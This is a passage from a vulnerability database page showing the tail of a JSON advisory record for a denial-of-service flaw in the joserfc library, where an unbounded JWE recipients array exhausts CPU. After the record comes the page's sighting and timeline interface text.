  "modified": "2026-10-30T14:54:20Z",
  "published": "2026-10-30T14:54:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/authlib/joserfc/security/advisories/GHSA-jpxq-7h8p-2q76"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-119283"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/joserfc/commit/d6dc8df6c7609277e741069d3733e43996c1cd17"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/authlib/joserfc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/joserfc/releases/tag/1.7.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "joserfc: Unbounded JWE General JSON `recipients` Array Leads to CPU Exhaustion (DoS) via Repeated RSA Private-Key Decryption"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.